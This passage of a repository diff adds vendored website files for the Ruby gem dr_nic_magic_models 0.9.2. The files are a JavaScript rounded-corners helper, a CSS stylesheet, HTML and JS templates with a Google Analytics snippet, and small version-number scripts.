else if(typeof(obj.style.MozOpacity) != "undefined")
|
||||
{ obj.style.MozOpacity = opacity/100;}
|
||||
else if(typeof(obj.style.filter) != "undefined")
|
||||
{ obj.style.filter = "alpha(opacity:" + opacity + ")";}
|
||||
else if(typeof(obj.style.KHTMLOpacity) != "undefined")
|
||||
{ obj.style.KHTMLOpacity = opacity/100;}
|
||||
}
|
||||
function inArray(array, value)
|
||||
{ for(var i = 0; i < array.length; i++){ if (array[i] === value) return i;}
|
||||
return false;}
|
||||
function inArrayKey(array, value)
|
||||
{ for(key in array){ if(key === value) return true;}
|
||||
return false;}
|
||||
function addEvent(elm, evType, fn, useCapture) { if (elm.addEventListener) { elm.addEventListener(evType, fn, useCapture); return true;}
|
||||
else if (elm.attachEvent) { var r = elm.attachEvent('on' + evType, fn); return r;}
|
||||
else { elm['on' + evType] = fn;}
|
||||
}
|
||||
function removeEvent(obj, evType, fn, useCapture){ if (obj.removeEventListener){ obj.removeEventListener(evType, fn, useCapture); return true;} else if (obj.detachEvent){ var r = obj.detachEvent("on"+evType, fn); return r;} else { alert("Handler could not be removed");}
|
||||
}
|
||||
function format_colour(colour)
|
||||
{ var returnColour = "#ffffff"; if(colour != "" && colour != "transparent")
|
||||
{ if(colour.substr(0, 3) == "rgb")
|
||||
{ returnColour = rgb2Hex(colour);}
|
||||
else if(colour.length == 4)
|
||||
{ returnColour = "#" + colour.substring(1, 2) + colour.substring(1, 2) + colour.substring(2, 3) + colour.substring(2, 3) + colour.substring(3, 4) + colour.substring(3, 4);}
|
||||
else
|
||||
{ returnColour = colour;}
|
||||
}
|
||||
return returnColour;}
|
||||
function get_style(obj, property, propertyNS)
|
||||
{ try
|
||||
{ if(obj.currentStyle)
|
||||
{ var returnVal = eval("obj.currentStyle." + property);}
|
||||
else
|
||||
{ if(isSafari && obj.style.display == "none")
|
||||
{ obj.style.display = ""; var wasHidden = true;}
|
||||
var returnVal = document.defaultView.getComputedStyle(obj, '').getPropertyValue(propertyNS); if(isSafari && wasHidden)
|
||||
{ obj.style.display = "none";}
|
||||
}
|
||||
}
|
||||
catch(e)
|
||||
{ }
|
||||
return returnVal;}
|
||||
function getElementsByClass(searchClass, node, tag)
|
||||
{ var classElements = new Array(); if(node == null)
|
||||
node = document; if(tag == null)
|
||||
tag = '*'; var els = node.getElementsByTagName(tag); var elsLen = els.length; var pattern = new RegExp("(^|\s)"+searchClass+"(\s|$)"); for (i = 0, j = 0; i < elsLen; i++)
|
||||
{ if(pattern.test(els[i].className))
|
||||
{ classElements[j] = els[i]; j++;}
|
||||
}
|
||||
return classElements;}
|
||||
function newCurvyError(errorMessage)
|
||||
{ return new Error("curvyCorners Error:\n" + errorMessage)
|
||||
}
|
||||
96
vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css
vendored
Normal file
96
vendor/gems/dr_nic_magic_models-0.9.2/website/stylesheets/screen.css
vendored
Normal file
@@ -0,0 +1,96 @@
|
||||
body {
|
||||
background-color: #115;
|
||||
font-family: "Georgia", sans-serif;
|
||||
font-size: 16px;
|
||||
line-height: 1.6em;
|
||||
padding: 1.6em 0 0 0;
|
||||
color: #eee;
|
||||
}
|
||||
h1, h2, h3, h4, h5, h6 {
|
||||
color: #77f;
|
||||
}
|
||||
h1 {
|
||||
font-family: sans-serif;
|
||||
font-weight: normal;
|
||||
font-size: 4em;
|
||||
line-height: 0.8em;
|
||||
letter-spacing: -0.1ex;
|
||||
}
|
||||
li {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
list-style-type: square;
|
||||
}
|
||||
a {
|
||||
color: #99f;
|
||||
font-weight: normal;
|
||||
text-decoration: underline;
|
||||
}
|
||||
blockquote {
|
||||
font-size: 90%;
|
||||
font-style: italic;
|
||||
border-left: 1px solid #eee;
|
||||
padding-left: 1em;
|
||||
}
|
||||
.caps {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
#main {
|
||||
width: 55em;
|
||||
padding: 0;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.coda {
|
||||
text-align: right;
|
||||
color: #77f;
|
||||
font-size: smaller;
|
||||
}
|
||||
|
||||
pre, code {
|
||||
font-family: monospace;
|
||||
font-size: 90%;
|
||||
line-height: 1.4em;
|
||||
color: #ff8;
|
||||
background-color: #111;
|
||||
padding: 2px 10px 2px 10px;
|
||||
}
|
||||
.comment { color: #aaa; font-style: italic; }
|
||||
.keyword { color: #eff; font-weight: bold; }
|
||||
.punct { color: #eee; font-weight: bold; }
|
||||
.symbol { color: #0bb; }
|
||||
.string { color: #6b4; }
|
||||
.ident { color: #ff8; }
|
||||
.constant { color: #66f; }
|
||||
.regex { color: #ec6; }
|
||||
.number { color: #F99; }
|
||||
.expr { color: #227; }
|
||||
|
||||
#version {
|
||||
float: right;
|
||||
text-align: right;
|
||||
font-family: sans-serif;
|
||||
font-weight: normal;
|
||||
background-color: #ff8;
|
||||
color: #66f;
|
||||
padding: 15px 20px 10px 20px;
|
||||
margin: 0 auto;
|
||||
border: 3px solid #66f;
|
||||
}
|
||||
|
||||
#version .numbers {
|
||||
display: block;
|
||||
font-size: 4em;
|
||||
line-height: 0.8em;
|
||||
letter-spacing: -0.1ex;
|
||||
}
|
||||
|
||||
#version a {
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.clickable {
|
||||
cursor: pointer;
|
||||
cursor: hand;
|
||||
}
|
||||
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/website/template.js
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/website/template.js
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
// <%= title %>
|
||||
var version = <%= version.to_json %>;
|
||||
<%= body %>
|
||||
55
vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml
vendored
Normal file
55
vendor/gems/dr_nic_magic_models-0.9.2/website/template.rhtml
vendored
Normal file
@@ -0,0 +1,55 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
|
||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
||||
<head>
|
||||
<link rel="stylesheet" href="stylesheets/screen.css" type="text/css" media="screen" />
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>
|
||||
<%= title %>
|
||||
</title>
|
||||
<script src="javascripts/rounded_corners_lite.inc.js" type="text/javascript"></script>
|
||||
<style>
|
||||
|
||||
</style>
|
||||
<script type="text/javascript" src="version-raw.js"></script>
|
||||
<script type="text/javascript">
|
||||
window.onload = function() {
|
||||
settings = {
|
||||
tl: { radius: 10 },
|
||||
tr: { radius: 10 },
|
||||
bl: { radius: 10 },
|
||||
br: { radius: 10 },
|
||||
antiAlias: true,
|
||||
autoPad: true,
|
||||
validTags: ["div"]
|
||||
}
|
||||
var versionBox = new curvyCorners(settings, document.getElementById("version"));
|
||||
versionBox.applyCornersToAll();
|
||||
|
||||
document.getElementById("version_num").innerHTML = version;
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="main">
|
||||
<p><a href="/">↩ More Magic</a></p>
|
||||
|
||||
<div id="version" class="clickable" onclick='document.location = "<%= download %>"; return false'>
|
||||
Get Version
|
||||
<a id="version_num" href="<%= download %>" class="numbers"></a>
|
||||
</div>
|
||||
<h1><%= title %></h1>
|
||||
<%= body %>
|
||||
<p class="coda">
|
||||
<a href="mailto:drnicwilliams@gmail.com">Dr Nic</a>, <%= modified.pretty %><br>
|
||||
Theme extended from <a href="http://rb2js.rubyforge.org/">Paul Battley</a>
|
||||
</p>
|
||||
</div>
|
||||
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
|
||||
</script>
|
||||
<script type="text/javascript">
|
||||
_uacct = "UA-567811-3";
|
||||
urchinTracker();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.js
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
// Version JS file
|
||||
var version = "0.9.2";
|
||||
MagicAnnouncement.show('magicmodels', version);
|
||||
2
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt
vendored
Normal file
2
vendor/gems/dr_nic_magic_models-0.9.2/website/version-raw.txt
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
h1. Version JS file
|
||||
MagicAnnouncement.show('magicmodels', version);
|
||||
4
vendor/gems/dr_nic_magic_models-0.9.2/website/version.js
vendored
Normal file
4
vendor/gems/dr_nic_magic_models-0.9.2/website/version.js
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
// Version JS file
|
||||
var version = "0.9.2";
|
||||
|
||||
document.write(" - " + version);
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/website/version.txt
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
h1. Version JS file
|
||||
|
||||
document.write(" - " + version);
|
||||
Reference in New Issue
Block a user